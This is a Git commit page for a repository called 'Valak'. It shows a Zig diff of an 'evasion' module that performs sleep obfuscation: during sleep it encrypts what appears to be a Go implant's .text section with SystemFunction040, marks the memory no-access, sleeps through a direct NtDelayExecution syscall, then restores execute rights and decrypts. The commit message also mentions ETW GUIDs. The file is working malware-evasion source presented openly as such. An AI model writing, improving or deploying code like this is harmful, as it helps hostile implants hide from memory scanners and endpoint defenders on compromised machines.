JYenn/Valak
1
3
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

valak: asm arg1 fix, NT_SUCCESS i32, byte scan off-by-one, etw guids

Browse Source
This commit is contained in:
SISTA
2026-07-18 09:30:00 +01:00
committed by JYenn
parent cc60a24d98
commit a1f467199f
17 changed files with 552 additions and 910 deletions
Download Patch File Download Diff File Expand all files Collapse all files
evasion/sleep.zig
+14 -18
View File
@@ -1,16 +1,16 @@
// SystemFunction040/041 are advapi32 exports wrapping RtlEncryptMemory (kernel ChaCha20).
const api = @import("api.zig");
const syscall = @import("syscall.zig");
const win = @import("win32.zig");
const nt = @import("nt.zig");
var g_go_text_base: ?[*]u8 = null;
var g_go_text_size: usize = 0;
const RTL_ENCRYPT_MEMORY_SIZE: win.ULONG = 8;
const RTL_ENCRYPT_MEMORY_SIZE: u32 = 8;
// Pad size to multiple of RTL_ENCRYPT_MEMORY_SIZE.
fn padded_size(size: usize) win.ULONG {
const s: win.ULONG = @intCast(size);
return (s + (RTL_ENCRYPT_MEMORY_SIZE - 1)) & ~@as(win.ULONG, RTL_ENCRYPT_MEMORY_SIZE - 1);
fn padded_size(size: usize) u32 {
const s: u32 = @intCast(size);
return (s + (RTL_ENCRYPT_MEMORY_SIZE - 1)) & ~@as(u32, RTL_ENCRYPT_MEMORY_SIZE - 1);
}
pub fn init_text_region(base: [*]u8, size: usize) void {
@@ -18,12 +18,10 @@ pub fn init_text_region(base: [*]u8, size: usize) void {
g_go_text_size = size;
}
// ChaCha20-encrypts .text via SystemFunction040, sleeps via NtDelayExecution,
// decrypts on wake. During sleep .text is PAGE_NOACCESS.
pub fn evasion_sleep(ms: u32) void {
if (g_go_text_base == null or g_go_text_size == 0) {
var interval: win.LARGE_INTEGER = -(@as(i64, @intCast(ms)) * 10000);
_ = syscall.nt_delay_execution(0, &interval);
var interval: i64 = -(@as(i64, @intCast(ms)) * 10000);
_ = syscall.nt_delay_execution(nt.FALSE_BOOL(), &interval);
return;
}
@@ -31,23 +29,22 @@ pub fn evasion_sleep(ms: u32) void {
const size = g_go_text_size;
const padded = padded_size(size);
// Encrypt .text with ChaCha20
if (api.sleep_SystemFunction040) |enc| {
_ = enc(base, padded, 0);
}
var ptr: ?*anyopaque = base;
var sz: win.SIZE_T = size;
var old: win.ULONG = 0;
var sz: usize = size;
var old: u32 = 0;
_ = syscall.nt_protect_virtual_memory(
syscall.nt_current_process(),
&ptr,
&sz,
win.PAGE_NOACCESS,
nt.PAGE_NOACCESS,
&old,
);
var interval: win.LARGE_INTEGER = -(@as(i64, @intCast(ms)) * 10000);
_ = syscall.nt_delay_execution(0, &interval);
var interval: i64 = -(@as(i64, @intCast(ms)) * 10000);
_ = syscall.nt_delay_execution(nt.FALSE_BOOL(), &interval);
ptr = base;
sz = size;
@@ -55,11 +52,10 @@ pub fn evasion_sleep(ms: u32) void {
syscall.nt_current_process(),
&ptr,
&sz,
win.PAGE_EXECUTE_READ,
nt.PAGE_EXECUTE_READ,
&old,
);
// Decrypt .text with ChaCha20
if (api.sleep_SystemFunction041) |dec| {
_ = dec(base, padded, 0);
}